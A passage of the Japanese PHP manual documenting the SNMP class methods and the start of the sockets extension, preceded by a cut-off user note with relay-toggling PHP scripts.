$snmp->activate($getRelayNumber);
$snmp->closeSession();
?>

Turn off script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
$snmp->deactivate($getRelayNumber);
$snmp->closeSession();
?>

Script that get all ports status:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('read');
$getActive = $snmp->getAllPortsStatus();
?>


SNMP セッションを閉じる

  • ≪ SNMP
  • SNMP::__construct ≫
  • PHP Manual
  • SNMP
  • SNMP セッションを閉じる

SNMP::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::close — SNMP セッションを閉じる

説明

public SNMP::close ( ) : bool

SNMP セッションオブジェクトを閉じます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SNMP::close() の例

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  # ...
  # get, walk, etc goes here
  # ...
  $session->close();
?>

参考

  • SNMP::__construct() - リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する

User Contributed Notes

There are no user contributed notes for this page.


リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する

  • ≪ SNMP::close
  • SNMP::get ≫
  • PHP Manual
  • SNMP
  • リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する

SNMP::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::__construct — リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する

説明

public SNMP::__construct ( int $version , string $hostname , string $community , int $timeout = -1 , int $retries = -1 )

The function description goes here.

パラメータ

version

SNMP プロトコルのバージョン。
SNMP::VERSION_1、
SNMP::VERSION_2C あるいは
SNMP::VERSION_3。

hostname

SNMP エージェント。hostname には、オプションでコロンに続けて SNMP エージェントのポートを指定できます。 IPv6 アドレスでポートを指定する場合は、アドレス部を角括弧で囲まなければなりません。 hostname で FQDN を使うと、その解決に使われるのは php-snmp ライブラリであり、Net-SNMP エンジンは使いません。 FQDN を指定するときに IPv6 アドレスを使うには、FQDN を角括弧で囲まなければなりません。 いくつか例を示します。

IPv4 (デフォルトのポート) | 127.0.0.1
IPv6 (デフォルトのポート) | ::1 あるいは [::1]
IPv4 (ポートを指定) | 127.0.0.1:1161
IPv6 (ポートを指定) | [::1]:1161
FQDN (デフォルトのポート) | host.domain
FQDN (ポートを指定) | host.domain:1161
FQDN (デフォルトのポート)、IPv6 アドレスを強制 | [host.domain]
FQDN (ポートを指定)、IPv6 アドレスを強制 | [host.domain]:1161

community

community の目的は SNMP のバージョンによって異なります。

SNMP::VERSION_1 | SNMP コミュニティ
SNMP::VERSION_2C | SNMP コミュニティ
SNMP::VERSION_3 | SNMPv3 セキュリティ名
timeout

最初のタイムアウトまでのミリ秒数。

retries

タイムアウト発生時の再試行回数。

返り値

リモート SNMP エージェントを表す SNMP オブジェクトを返します。

エラー / 例外

SNMP::__construct() が例外を発生させるのは、 パラメータの数や型が間違っていたり未知の SNMP プロトコルバージョンを指定したりした場合です。

例

例1 sysLocation の取得

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
?>

上の例の出力は、 たとえば以下のようになります。

STRING: Test server

参考

  • SNMP::close() - SNMP セッションを閉じる

User Contributed Notes

There are no user contributed notes for this page.


SNMP オブジェクトを取得する

  • ≪ SNMP::__construct
  • SNMP::getErrno ≫
  • PHP Manual
  • SNMP
  • SNMP オブジェクトを取得する

SNMP::get

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::get — SNMP オブジェクトを取得する

説明

public SNMP::get ( array|string $objectId , bool $preserveKeys = false ) : array|bool

objectId で指定した SNMP オブジェクトを GET クエリで取得します。

パラメータ

objectId が文字列の場合は SNMP::get() は SNMP オブジェクトを文字列で返します。 objectId が配列の場合は、要求されたすべての SNMP オブジェクトを SNMP オブジェクトの id とその値の連想配列で返します。

objectId

SNMP オブジェクト (OID)。

preserveKeys

objectId が配列のときに preserveKeys を true にすると、結果のキーは完全に objectId となります。 それ以外の場合は SNMP::oid_output_format プロパティを使ってキーの形式を判断します。

返り値

objectId で指定した SNMP オブジェクトの値を objectId にあわせて文字列か配列で返します。 エラー時には false を返します。

エラー / 例外

このメソッドは、デフォルトでは一切例外をスローしません。ライブラリでエラーが発生したときに SNMPException をスローさせるには SNMP クラスパラメータ exceptions_enabled に値を設定しなければなりません。 詳細は SNMP::$exceptions_enabled の説明を参照ください。

例

例1 単一の SNMP オブジェクト

ひとつの SNMP オブジェクトに対するリクエストは二通りの方法で行えます。 文字列でリクエストすると結果は文字列で返され、要素がひとつだけの配列でリクエストすると結果は連想配列で返されます。

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
  $sysdescr = $session->get(array("sysDescr.0"));
  print_r($sysdescr);
?>

上の例の出力は、 たとえば以下のようになります。

STRING: Test server
Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
)

例2 複数の SNMP オブジェクト

$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->get(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();

上の例の出力は、 たとえば以下のようになります。

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysName.0] => STRING: myhost.nodomain
)

参考

  • SNMP::getErrno() - 直近のエラーコードを取得する
  • SNMP::getError() - 直近のエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーコードを取得する

  • ≪ SNMP::get
  • SNMP::getError ≫
  • PHP Manual
  • SNMP
  • 直近のエラーコードを取得する

SNMP::getErrno

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getErrno — 直近のエラーコードを取得する

説明

public SNMP::getErrno ( ) : int

直近の SNMP リクエストのエラーコードを返します。

返り値

定数のページで説明した SNMP エラーコードのいずれかを返します。

例

例1 SNMP::getErrno() の例

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getErrno() == SNMP::ERRNO_TIMEOUT);
?>

上の例の出力は以下となります。

bool(false)
bool(true)

参考

  • SNMP::getError() - 直近のエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーメッセージを取得する

  • ≪ SNMP::getErrno
  • SNMP::getnext ≫
  • PHP Manual
  • SNMP
  • 直近のエラーメッセージを取得する

SNMP::getError

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getError — 直近のエラーメッセージを取得する

説明

public SNMP::getError ( ) : string

直近の SNMP リクエストのエラー文字列を返します。

返り値

直近の SNMP リクエストからのエラーを表す文字列を返します。

例

例1 SNMP::getError() の例

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getError());
?>

上の例の出力は以下となります。

bool(false)
string(26) "No response from 127.0.0.1"

参考

  • SNMP::getErrno() - 直近のエラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したオブジェクト ID に続く SNMP オブジェクトを取得する

  • ≪ SNMP::getError
  • SNMP::set ≫
  • PHP Manual
  • SNMP
  • 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

SNMP::getnext

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する

説明

public SNMP::getnext ( array|string $objectId ) : array|bool

objectId で指定したオブジェクトに続く SNMP オブジェクトの値を取得します。

パラメータ

objectId が文字列の場合は SNMP::getnext() は SNMP オブジェクトを文字列で返します。 objectId が配列の場合は、要求されたすべての SNMP オブジェクトを SNMP オブジェクトの id とその値の連想配列で返します。

objectId

SNMP オブジェクト (OID)。

返り値

SNMP オブジェクトの値を objectId にあわせて文字列か配列で返します。 エラー時には false を返します。

エラー / 例外

このメソッドは、デフォルトでは一切例外をスローしません。ライブラリでエラーが発生したときに SNMPException をスローさせるには SNMP クラスパラメータ exceptions_enabled に値を設定しなければなりません。 詳細は SNMP::$exceptions_enabled の説明を参照ください。

例

例1 単一の SNMP オブジェクト

ひとつの SNMP オブジェクトに対するリクエストは二通りの方法で行えます。 文字列でリクエストすると結果は文字列で返され、要素がひとつだけの配列でリクエストすると結果は連想配列で返されます。

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $nsysdescr = $session->getnext("sysDescr.0");
  echo "$nsysdescr\n";
  $nsysdescr = $session->getnext(array("sysDescr.0"));
  print_r($nsysdescr);
?>

上の例の出力は、 たとえば以下のようになります。

OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
)

例2 複数の SNMP オブジェクト

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->getnext(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [SNMPv2-MIB::sysLocation.0] => STRING: Nowhere
)

参考

  • SNMP::getErrno() - 直近のエラーコードを取得する
  • SNMP::getError() - 直近のエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


SNMP オブジェクトの値を設定する

  • ≪ SNMP::getnext
  • SNMP::setSecurity ≫
  • PHP Manual
  • SNMP
  • SNMP オブジェクトの値を設定する

SNMP::set

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::set — SNMP オブジェクトの値を設定する

説明

public SNMP::set ( array|string $objectId , array|string $type , array|string $value ) : array|bool

リモート SNMP エージェントに対して、 objectId で指定した SNMP オブジェクトの値を設定させます。

パラメータ

objectId が文字列のときは、 type と value も文字列にしなければなりません。 objectId が配列のときは、 value も同じサイズの配列にして、対応する値を含めなければなりません。 type は、文字列でもいいし (この値を、すべての objectId-value ペアに適用する)、 同じサイズの配列 (OID ごとに設定する) でもかまいません。 その他の組み合わせで指定すると、E_WARNING メッセージが表示されます。

objectId

SNMP オブジェクト ID。

object_id 配列の OID 数がオブジェクトの max_oids プロパティより多ければ、set メソッドは複数のクエリで値の更新をしなければなりません。 この場合、型や値のチェックはチャンク単位で行われるので、 二番目以降のクエリでリクエストする ODI に対して型や値の問題があれば失敗するかもしれません。 そのため、object_id 配列の OID 数が max_oids プロパティより多いときには警告が発生します。

type

MIB は、オブジェクトIDごとのタイプを定義します。 これは、以下の一覧から指定される一文字でなければなりません。

types
= MIBから取得するタイプ
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

SNMP ライブラリをコンパイルする際、 OPAQUE_SPECIAL_TYPES が定義されていた場合、 以下も正しい値になります:

types
U | unsigned int64
I | signed int64
F | float
D | double

これらの大半は、対応する ASN.1 の型を使います。's', 'x', 'd' および 'b' はどれも OCTET STRING を異なる方法で表したものであり、'u' も Gauge32 値を扱うためのものです。

MIB ファイルが "snmp_read_mib" や libsnmp の設定で MIB ツリーに読み込まれている場合は、 type に '=' を使うことができます。 これはすべてのオブジェクト ID を表し、型は自動的に MIB から読み込みます。

"SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}" のような BITS 型の値変数を設定する方法は二通りあることに注意しましょう。

  • 型として "b" を使い、ビット番号の一覧を指定する。この方法はおすすめしません。 同じ OID に対して GET クエリを実行しても 0xF8 などを返すからです。
  • Using type "x" and a hex number but without(!) the usual "0x" prefix. 型として "x" を使い、通常のプレフィックス "0x" をつけずに(!) 16 進数を指定する。

詳細は、サンプルを参照ください。

value

新しい値。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドは、デフォルトでは一切例外をスローしません。ライブラリでエラーが発生したときに SNMPException をスローさせるには SNMP クラスパラメータ exceptions_enabled に値を設定しなければなりません。 詳細は SNMP::$exceptions_enabled の説明を参照ください。

例

例1 単一の SNMP オブジェクト ID の設定

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('SNMPv2-MIB::sysContact.0', 's', "Nobody");
?>

例2 単一の SNMP::set() コールによる複数の値の設定

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), array('s', 's'), array("Nobody", "Nowhere"));
// あるいは
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), 's', array("Nobody", "Nowhere"));
?>

例3 BITS SNMP オブジェクト ID の設定による SNMP::set() の使用法

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// あるいは
  $session->set('FOO-MIB::bar.42', 'x', 'F0');
?>

参考

  • SNMP::get() - SNMP オブジェクトを取得する

User Contributed Notes

There are no user contributed notes for this page.


セキュリティ関連の SNMPv3 セッションパラメータを設定する

  • ≪ SNMP::set
  • SNMP::walk ≫
  • PHP Manual
  • SNMP
  • セキュリティ関連の SNMPv3 セッションパラメータを設定する

SNMP::setSecurity

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::setSecurity — セキュリティ関連の SNMPv3 セッションパラメータを設定する

説明

public SNMP::setSecurity
 ( string $securityLevel
, string $authProtocol = ""
, string $authPassphrase = ""
, string $privacyProtocol = ""
, string $privacyPassphrase = ""
, string $contextName = ""
, string $contextEngineId = ""
) : bool

setSecurity は、 SNMP プロトコルバージョン 3 で使うセキュリティ関連のセッションパラメータを設定します。

パラメータ

securityLevel

セキュリティレベル (noAuthNoPriv|authNoPriv|authPriv)。

authProtocol

認証プロトコル (MD5 あるいは SHA)。

authPassphrase

認証パスフレーズ。

privacyProtocol

プライバシープロトコル (DES あるいは AES)。

privacyPassphrase

プライバシーパスフレーズ。

contextName

コンテキスト名。

contextEngineId

コンテキスト EngineID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SNMP::setSecurity() の例

<?php
  $session = new SNMP(SNMP::VERSION_3, $hostname, $rwuser, $timeout, $retries);
  $session->setSecurity('authPriv', 'MD5', $auth_pass, 'AES', $priv_pass, '', 'aeeeff');
?>

参考

  • SNMP::__construct() - リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する

User Contributed Notes

There are no user contributed notes for this page.


SNMP オブジェクトのサブツリーを取得する

  • ≪ SNMP::setSecurity
  • SNMPException ≫
  • PHP Manual
  • SNMP
  • SNMP オブジェクトのサブツリーを取得する

SNMP::walk

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::walk — SNMP オブジェクトのサブツリーを取得する

説明

public SNMP::walk ( array|string $objectId , bool $suffixAsKey = false , int $maxRepetitions = -1 , int $nonRepeaters = -1 ) : array|bool

SNMP::walk() を使い、 指定した objectId を起点とする SNMP サブツリーを読み込みます。

パラメータ

objectId

取得するサブツリーのルート。

suffixAsKey

デフォルトでは、完全な OID 記法を出力配列のキーとして使います。 true にすると、サブツリーのプレフィックスはキーから取り除き、 object_id のサフィックスだけを残します。

nonRepeaters

これは、渡された変数の中で反復処理の対象外とする変数の数を指定します。 デフォルトは、SNMP オブジェクトでの設定を使います。

maxRepetitions

これは、繰り返す変数の反復処理の最大数を指定します。 デフォルトは、SNMP オブジェクトでの設定を使います。

返り値

成功した場合は SNMP オブジェクトの ID とその値の連想配列を返します。エラー時には false を返します。 SNMP エラーが発生した場合は、SNMP::getErrno() および SNMP::getError() を使えばエラー番号(SNMP 拡張モジュールで設定したもの。クラス定数を参照) とエラーメッセージをそれぞれ取得できます。

エラー / 例外

このメソッドは、デフォルトでは一切例外をスローしません。ライブラリでエラーが発生したときに SNMPException をスローさせるには SNMP クラスパラメータ exceptions_enabled に値を設定しなければなりません。 詳細は SNMP::$exceptions_enabled の説明を参照ください。

例

例1 SNMP::walk() の例

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $fulltree = $session->walk(".");
  print_r($fulltree);
  $session->close();
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [DISMAN-EVENT-MIB::sysUpTimeInstance] => Timeticks: (1150681750) 133 days, 4:20:17.50
    [SNMPv2-MIB::sysContact.0] => STRING: Nobody
    [SNMPv2-MIB::sysName.0] => STRING: server.localdomain
    ...
)

例2 suffixAsKey の例

suffixAsKey は、複数の SNMP サブツリーをひとつにまとめるときに使えます。この例では、インターフェイス名とその型を関連付けます。

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $session->valueretrieval = SNMP_VALUE_PLAIN;
  $ifDescr = $session->walk(".1.3.6.1.2.1.2.2.1.2", TRUE);
  $session->valueretrieval = SNMP_VALUE_LIBRARY;
  $ifType = $session->walk(".1.3.6.1.2.1.2.2.1.3", TRUE);
  print_r($ifDescr);
  print_r($ifType);
  $result = array();
  foreach($ifDescr as $i => $n) {
    $result[$n] = $ifType[$i];
  }
  print_r($result);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [1] => igb0
    [2] => igb1
    [3] => ipfw0
    [4] => lo0
    [5] => lagg0
)
Array
(
    [1] => INTEGER: ieee8023adLag(161)
    [2] => INTEGER: ieee8023adLag(161)
    [3] => INTEGER: ethernetCsmacd(6)
    [4] => INTEGER: softwareLoopback(24)
    [5] => INTEGER: ethernetCsmacd(6)
)
Array
(
    [igb0] => INTEGER: ieee8023adLag(161)
    [igb1] => INTEGER: ieee8023adLag(161)
    [ipfw0] => INTEGER: ethernetCsmacd(6)
    [lo0] => INTEGER: softwareLoopback(24)
    [lagg0] => INTEGER: ethernetCsmacd(6)
)

参考

  • SNMP::getErrno() - 直近のエラーコードを取得する
  • SNMP::getError() - 直近のエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


SNMPException クラス

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

はじめに

SNMP で発生するエラーを表します。自分のコードから SNMPException をスローしてはいけません。 PHP における例外処理の詳細な情報は 例外 を参照ください。

クラス概要

SNMPException extends RuntimeException {
/* プロパティ */
protected string $code ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

code

SNMP ライブラリのエラーコード。Exception::getCode() でアクセスします。

User Contributed Notes

There are no user contributed notes for this page.


ソケット

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • ソケットのエラー
  • ソケット 関数
    • socket_accept — ソケットへの接続を許可する
    • socket_addrinfo_bind — 与えられた addrinfo から、ソケットを作成してバインドする
    • socket_addrinfo_connect — 与えられた addrinfo から、ソケットを作って接続する
    • socket_addrinfo_explain — addrinfo に関する情報を取得する
    • socket_addrinfo_lookup — 与えられたホスト名に関する getaddrinfo の内容を配列で取得する
    • socket_bind — ソケットに名前をバインドする
    • socket_clear_error — ソケットのエラーまたは直近のエラーコードをクリアする
    • socket_close — Socket クラスのインスタンスを閉じる
    • socket_cmsg_space — メッセージバッファサイズを計算する
    • socket_connect — ソケット上の接続を初期化する
    • socket_create_listen — 接続を受けつけるためにポートにソケットをオープンする
    • socket_create_pair — 区別できないソケットの組を作成し、配列に保存する
    • socket_create — ソケット（通信時の終端）を作成する
    • socket_export_stream — ソケットをカプセル化したストリームに、ソケットをエクスポートする
    • socket_get_option — ソケットのオプションを取得する
    • socket_getopt — socket_get_option のエイリアス
    • socket_getpeername — 指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
    • socket_getsockname — 指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
    • socket_import_stream — ストリームをインポートする
    • socket_last_error — ソケットの直近のエラーを返す
    • socket_listen — ソケット上で接続待ち(listen)する
    • socket_read — ソケットから最大バイト長まで読みこむ
    • socket_recv — 接続したソケットからデータを受信する
    • socket_recvfrom — 接続しているかどうかによらず、ソケットからデータを受信する
    • socket_recvmsg — メッセージを読む
    • socket_select — 与えられたソケットの配列に対し、指定した有効時間で select() システムコールを実行する
    • socket_send — 接続したソケットにデータを送信する
    • socket_sendmsg — メッセージを送信する
    • socket_sendto — 接続しているかどうかによらずソケットにメッセージを送信する
    • socket_set_block — ソケットのブロッキングモードを設定する
    • socket_set_nonblock — ソケットリソースを非ブロックモードに設定する
    • socket_set_option — ソケットのオプションを設定する
    • socket_setopt — socket_set_option のエイリアス
    • socket_shutdown — 受信、送信、または送受信用のソケットをシャットダウンする
    • socket_strerror — ソケットエラーの内容を文字列として返す
    • socket_write — ソケットに書き込む
    • socket_wsaprotocol_info_export — WSAPROTOCOL_INFO 構造体をエクスポートする
    • socket_wsaprotocol_info_import — 別のプロセスからソケットをインポートする
    • socket_wsaprotocol_info_release — エクスポートした WSAPROTOCOL_INF 構造体を解放する
  • Socket — Socket クラス
  • AddressInfo — AddressInfo クラス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

ソケット拡張モジュールは、一般的な BSD ソケットに基づくソケット通信に関する低レベルインターフェイスを実装し、 クライアントだけでなく、 ソケットサーバーとして動作させることが可能となります。

より一般的なクライアントサイドのソケットインターフェイスについては、
stream_socket_client()、
stream_socket_server()、
fsockopen() および
pfsockopen() を参照ください。

ここで説明するソケット関数を使用する場合、多くの関数は C 言語に同じ名前の関数が存在しますが、 しばしば定義が異なっていることに注意してください。 混乱を避けるには、説明をよく読んでください。

このようにソケットプログラミングと異なっている点はありますが、 それでも有用な多くの Unix man ページを参照することができます。 Web 上に C 言語のソケットプログラミングのチュートリアル情報が存在し、 その多くは、若干の修正により、 PHP におけるソケットプログラミングに適用することが可能です。 » Unix Socket FAQ が、 手始めとして適しているでしょう。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

ここに既述されたソケット関数は PHP 拡張モジュールの一部であり、 コンパイル時に configure にオプション --enable-sockets を指定することにより 使用可能となります。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

PHP 8.0.0 より前のバージョンでは、
socket_accept(), socket_import_stream(),
socket_addrinfo_connect(), socket_addrinfo_bind(),
socket_create_listen(), socket_wsaprotocol_info_import() および
socket_create() はソケットリソースを返していました。

PHP 8.0.0 より前のバージョンでは、 socket_addrinfo_lookup() は AddressInfo リソースの配列を返していました。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

AF_UNIX (int)
AF_INET (int)
AF_INET6 (int)
IPv6 サポートつきでコンパイルした場合にのみ使用可能です。
SOCK_STREAM (int)
SOCK_DGRAM (int)
SOCK_RAW (int)
SOCK_SEQPACKET (int)
SOCK_RDM (int)
MSG_OOB (int)
MSG_WAITALL (int)
MSG_PEEK (int)
MSG_DONTROUTE (int)
MSG_EOR (int)
Windows プラットフォームでは使用できません。
MSG_EOF (int)
Windows プラットフォームでは使用できません。
SO_DEBUG (int)
SO_REUSEADDR (int)
SO_REUSEPORT (int)
この定数は、PHP 5.4.10 以降でかつソケットオプション SO_REUSEPORT に対応したプラットフォーム上でだけ使えます。 MacOS や FreeBSD などはこのソケットオプションに対応していますが、 Linux や Windows は対応していません。
SO_KEEPALIVE (int)
SO_DONTROUTE (int)
SO_LINGER (int)
SO_BROADCAST (int)
SO_OOBINLINE (int)
SO_SNDBUF (int)
SO_RCVBUF (int)
SO_SNDLOWAT (int)
SO_RCVLOWAT (int)
SO_SNDTIMEO (int)
SO_RCVTIMEO (int)
SO_TYPE (int)
SO_ERROR (int)
TCP_NODELAY (int)
Nagle TCP アルゴリズムを無効にするために使用します。 PHP 5.2.7 で追加されました。
SOL_SOCKET (int)
PHP_NORMAL_READ (int)
PHP_BINARY_READ (int)
SOL_TCP (int)
SOL_UDP (int)

以下の定数は Windows でのみ定義されています。

SOCKET_EINTR (int)
Interrupted system call.
SOCKET_EBADF (int)
Bad file number.
SOCKET_EACCES (int)
Permission denied.
SOCKET_EFAULT (int)
Bad address.
SOCKET_EINVAL (int)
Invalid argument.
SOCKET_EMFILE (int)
Too many open files.
SOCKET_ENAMETOOLONG (int)
File name too long.
SOCKET_ENOTEMPTY (int)
Directory not empty.
SOCKET_ELOOP (int)
Too many symbolic links encountered.
SOCKET_EWOULDBLOCK (int)
Operation would block.
SOCKET_EREMOTE (int)
Object is remote.
SOCKET_EUSERS (int)
Too many users.
SOCKET_ENOTSOCK (int)
Socket operation on non-socket.
SOCKET_EDESTADDRREQ (int)
Destination address required.
SOCKET_EMSGSIZE (int)
Message too long.
SOCKET_EPROTOTYPE (int)
Protocol wrong type for socket.
SOCKET_EPROTONOSUPPORT (int)
Protocol not supported.
SOCKET_ESOCKTNOSUPPORT (int)
Socket type not supported.
SOCKET_EOPNOTSUPP (int)
Operation not supported on transport endpoint.
SOCKET_EPFNOSUPPORT (int)
Protocol family not supported.
SOCKET_EAFNOSUPPORT (int)
Address family not supported by protocol.
SOCKET_EADDRNOTAVAIL (int)
Cannot assign requested address.
SOCKET_ENETDOWN (int)
Network is down.
SOCKET_ENETUNREACH (int)
Network is unreachable.
SOCKET_ENETRESET (int)
Network dropped connection because of reset.
SOCKET_ECONNABORTED (int)
Software caused connection abort.
SOCKET_ECONNRESET (int)
Connection reset by peer.
SOCKET_ENOBUFS (int)
No buffer space available.
SOCKET_EISCONN (int)
Transport endpoint is already connected.
SOCKET_ENOTCONN (int)
Transport endpoint is not connected.
SOCKET_ESHUTDOWN (int)
Cannot send after transport endpoint shutdown.
SOCKET_ETIMEDOUT (int)
Connection timed out.
SOCKET_ECONNREFUSED (int)
Connection refused.
SOCKET_EHOSTDOWN (int)
Host is down.
SOCKET_EHOSTUNREACH (int)
No route to host.
SOCKET_EALREADY (int)
Operation already in progress.
SOCKET_EINPROGRESS (int)
Operation now in progress.

The following constants are only defined under Windows.

SOCKET_ENOPROTOOPT (int)
SOCKET_EADDRINUSE (int)
SOCKET_ETOOMYREFS (int)
SOCKET_EPROCLIM (int)
SOCKET_EDUOT (int)
SOCKET_ESTALE (int)
SOCKET_EDISCON (int)
SOCKET_SYSNOTREADY (int)
SOCKET_VERNOTSUPPORTED (int)
SOCKET_NOTINITIALISED (int)
SOCKET_HOST_NOT_FOUND (int)
SOCKET_TRY_AGAIN (int)
SOCKET_NO_RECOVERY (int)
SOCKET_NO_DATA (int)
SOCKET_NO_ADDRESS (int)

以下の定数は UNIX ライクなプラットフォームでのみ使用可能です。 各定数は、そのプラットフォーム上で同等のものが定義されている場合にのみ定義されています。

SOCKET_EPERM (int)
Operation not permitted.
SOCKET_ENOENT (int)
No such file or directory.
SOCKET_EIO (int)
I/O error.
SOCKET_ENXIO (int)
No such device or address.
SOCKET_E2BIG (int)
Arg list too long.
SOCKET_EAGAIN (int)
Try again.
SOCKET_ENOMEM (int)
Out of memory.
SOCKET_ENOTBLK (int)
Block device required.
SOCKET_EBUSY (int)
Device or resource busy.
SOCKET_EEXIST (int)
File exists.
SOCKET_EXDEV (int)
Cross-device link.
SOCKET_ENODEV (int)
No such device.
SOCKET_ENOTDIR (int)
Not a directory.
SOCKET_EISDIR (int)
Is a directory.
SOCKET_ENFILE (int)
File table overflow.
SOCKET_ENOTTY (int)
Not a typewriter.
SOCKET_ENOSPC (int)
No space left on device.
SOCKET_ESPIPE (int)
Illegal seek.
SOCKET_EROFS (int)
Read-only file system.
SOCKET_EMLINK (int)
Too many links.
SOCKET_EPIPE (int)
Broken pipe.
SOCKET_ENOLCK (int)
No record locks available.
SOCKET_ENOSYS (int)
Function not implemented.
SOCKET_ENOMSG (int)
No message of desired type.
SOCKET_EIDRM (int)
Identifier removed.
SOCKET_ECHRNG (int)
Channel number out of range.
SOCKET_EL2NSYNC (int)
Level 2 not synchronized.
SOCKET_EL3HLT (int)
Level 3 halted.
SOCKET_EL3RST (int)
Level 3 reset.
SOCKET_ELNRNG (int)
Link number out of range.
SOCKET_EUNATCH (int)
Protocol driver not attached.
SOCKET_ENOCSI (int)
No CSI structure available.
SOCKET_EL2HLT (int)
Level 2 halted.
SOCKET_EBADE (int)
Invalid exchange.
SOCKET_EBADR (int)
Invalid request descriptor.
SOCKET_EXFULL (int)
Exchange full.
SOCKET_ENOANO (int)
No anode.
SOCKET_EBADRQC (int)
Invalid request code.
SOCKET_EBADSLT (int)
Invalid slot.
SOCKET_ENOSTR (int)
Device not a stream.
SOCKET_ENODATA (int)
No data available.
SOCKET_ETIME (int)
Timer expired.
SOCKET_ENOSR (int)
Out of streams resources.
SOCKET_ENONET (int)
Machine is not on the network.
SOCKET_ENOLINK (int)
Link has been severed.
SOCKET_EADV (int)
Advertise error.
SOCKET_ESRMNT (int)
Srmount error.
SOCKET_ECOMM (int)
Communication error on send.
SOCKET_EPROTO (int)
Protocol error.
SOCKET_EMULTIHOP (int)
Multihop attempted.
SOCKET_EBADMSG (int)
Not a data message.
SOCKET_ENOTUNIQ (int)
Name not unique on network.
